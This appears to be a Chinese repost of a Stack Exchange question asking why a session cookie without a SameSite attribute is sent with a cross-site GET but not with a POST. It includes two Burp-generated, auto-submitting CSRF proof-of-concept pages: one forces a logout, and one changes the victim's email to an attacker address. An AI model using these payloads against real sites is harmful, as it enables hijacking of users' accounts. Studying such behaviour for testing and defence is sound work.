You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

无SameSite属性的PHPSESSID为何在POST型CSRF请求中未被携带?

关于CSRF攻击中POST请求未携带Cookie的问题

站点X的会话ID通过以下响应头设置:

Set-Cookie: PHPSESSID=abcdefg; path=/; HttpOnly

由于未定义SameSite属性,我预期当用户/受害者被诱导执行CSRF攻击时,无论GET还是POST请求都会携带该PHPSESSID Cookie。

我使用Burp自动生成CSRF PoC,以下是用于诱导用户注销账户的GET方法HTML页面:

<html>
  <body>
    <form action="https://site-x.com/logout">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

当已认证用户打开该页面时,会发送如下请求,成功诱导其注销账户:

GET /logout? HTTP/1.1
Host: site-x.com
Cookie: PHPSESSID=abcdefg;
...

然而,当我模拟POST方法的攻击时,PHPSESSID并未像GET方法那样随请求发送。以下是用于诱导用户修改邮箱的POST方法HTML页面:

<html>
  <body>
    <form action="https://site-x.com/profile" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="email" value="hacker@mail.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

当已认证用户打开该页面时,请求未携带PHPSESSID:

POST /profile HTTP/1.1
Host: site-x.com
...

既然Cookie未设置SameSite属性,我本以为POST请求也会发送PHPSESSID,但实际并未如此。请问这是怎么回事?我是否遗漏了什么细节,或是对相关机制的理解有误?


内容的提问来源于stack exchange,提问作者rifqy abdl

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.07 23:35:05